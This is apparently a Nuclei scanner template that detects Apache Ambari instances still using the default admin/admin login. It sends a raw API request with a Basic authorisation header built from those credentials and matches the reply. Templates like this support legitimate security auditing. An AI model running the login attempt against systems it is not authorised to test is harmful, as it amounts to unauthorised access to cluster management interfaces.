id: ambari-default-login

info:
  name: Apache Ambari Default Login
  author: pdteam
  severity: high
  description: An Apache Ambari default admin login was discovered.
  reference:
    - https://ambari.apache.org/1.2.0/installing-hadoop-using-ambari/content/ambari-chap3-1.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: ambari,default-login,apache,vuln

http:
  - raw:
      - |
        GET /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork
    matchers:
      - type: word
        words:
          - '"Users" : {'
          - 'AMBARI.'
        condition: and
# digest: 490a0046304402202da9b110aec77b5386323f1624d98ac30e593304a072904e1b6b49930ea463cc02204b6b09e52189e305458fdb437179a318ad170d32a3eb0fa3e89577d999e9eb16:922c64590222798bb761d5b6d8e72950